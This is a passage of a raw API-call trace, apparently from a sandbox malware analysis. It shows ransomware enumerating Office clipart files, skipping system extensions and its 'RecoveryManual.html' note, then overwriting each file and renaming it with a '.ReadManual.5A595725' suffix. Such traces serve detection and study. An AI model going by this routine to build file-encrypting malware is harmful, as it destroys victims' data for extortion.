ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0268.881] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0234001.WMF" | out: lpString1="J0234001.WMF") returned="J0234001.WMF" [0268.881] lstrcmpiW (lpString1="J0234001.WMF", lpString2="RecoveryManual.html") returned -1 [0268.881] StrStrIW (lpFirst="J0234001.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.881] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.881] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.881] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" [0268.882] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ReadManual.5A595725" [0268.882] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.ReadManual.5A595725") returned 87 [0268.882] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38955034740) returned 1 [0268.882] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf")) returned 0x20 [0268.882] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.882] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19264) returned 1 [0268.882] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b40, lpName=0x0) returned 0x184 [0268.882] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.883] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.883] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.885] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.885] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b40) returned 0x2f0000 [0268.885] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.886] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38955435370) returned 1 [0268.886] CloseHandle (hObject=0x184) returned 1 [0268.886] SetSecurityInfo () returned 0x57 [0268.886] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.886] CloseHandle (hObject=0x194) returned 1 [0268.886] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0268.886] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0234376.WMF" | out: lpString1="J0234376.WMF") returned="J0234376.WMF" [0268.886] lstrcmpiW (lpString1="J0234376.WMF", lpString2="RecoveryManual.html") returned -1 [0268.886] StrStrIW (lpFirst="J0234376.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.886] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.886] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.886] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" [0268.886] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ReadManual.5A595725" [0268.886] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ReadManual.5A595725") returned 87 [0268.887] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38955530653) returned 1 [0268.887] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf")) returned 0x20 [0268.888] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.888] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32980) returned 1 [0268.888] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80d4, lpName=0x0) returned 0x184 [0268.888] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.889] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.889] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.891] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.891] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80d4) returned 0x2f0000 [0268.892] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.892] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38956058475) returned 1 [0268.892] CloseHandle (hObject=0x184) returned 1 [0268.892] SetSecurityInfo () returned 0x57 [0268.892] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.892] CloseHandle (hObject=0x194) returned 1 [0268.892] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0268.892] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0237225.WMF" | out: lpString1="J0237225.WMF") returned="J0237225.WMF" [0268.892] lstrcmpiW (lpString1="J0237225.WMF", lpString2="RecoveryManual.html") returned -1 [0268.892] StrStrIW (lpFirst="J0237225.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.892] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.892] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.893] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.893] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" [0268.893] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ReadManual.5A595725" [0268.893] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ReadManual.5A595725") returned 87 [0268.893] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38956157188) returned 1 [0268.893] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf")) returned 0x20 [0268.893] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.893] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=52128) returned 1 [0268.893] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcba0, lpName=0x0) returned 0x184 [0268.893] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.894] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.894] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.896] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.896] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcba0) returned 0x2f0000 [0268.898] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.898] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38956687296) returned 1 [0268.898] CloseHandle (hObject=0x184) returned 1 [0268.898] SetSecurityInfo () returned 0x57 [0268.898] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.898] CloseHandle (hObject=0x194) returned 1 [0268.898] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0268.898] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0237228.WMF" | out: lpString1="J0237228.WMF") returned="J0237228.WMF" [0268.899] lstrcmpiW (lpString1="J0237228.WMF", lpString2="RecoveryManual.html") returned -1 [0268.899] StrStrIW (lpFirst="J0237228.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.899] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.899] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.899] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" [0268.899] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ReadManual.5A595725" [0268.899] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ReadManual.5A595725") returned 87 [0268.899] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38956785719) returned 1 [0268.899] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf")) returned 0x20 [0268.899] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.900] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22272) returned 1 [0268.900] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5700, lpName=0x0) returned 0x184 [0268.900] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.900] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.900] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.904] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.904] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5700) returned 0x2f0000 [0268.905] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.905] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38957355895) returned 1 [0268.905] CloseHandle (hObject=0x184) returned 1 [0268.905] SetSecurityInfo () returned 0x57 [0268.905] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.905] CloseHandle (hObject=0x194) returned 1 [0268.905] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0268.905] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0237336.WMF" | out: lpString1="J0237336.WMF") returned="J0237336.WMF" [0268.905] lstrcmpiW (lpString1="J0237336.WMF", lpString2="RecoveryManual.html") returned -1 [0268.905] StrStrIW (lpFirst="J0237336.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.905] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.905] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.906] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.906] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.906] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.906] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.906] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.906] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" [0268.906] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ReadManual.5A595725" [0268.906] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.ReadManual.5A595725") returned 87 [0268.906] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38957455872) returned 1 [0268.906] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf")) returned 0x20 [0268.906] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.906] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24770) returned 1 [0268.907] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60c2, lpName=0x0) returned 0x184 [0268.907] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.907] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.907] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.909] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.909] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60c2) returned 0x2f0000 [0268.910] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.910] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38957848357) returned 1 [0268.910] CloseHandle (hObject=0x184) returned 1 [0268.910] SetSecurityInfo () returned 0x57 [0268.910] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.910] CloseHandle (hObject=0x194) returned 1 [0268.910] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0268.910] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0237759.WMF" | out: lpString1="J0237759.WMF") returned="J0237759.WMF" [0268.910] lstrcmpiW (lpString1="J0237759.WMF", lpString2="RecoveryManual.html") returned -1 [0268.910] StrStrIW (lpFirst="J0237759.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.910] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.910] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.911] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.911] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.911] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.911] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" [0268.911] 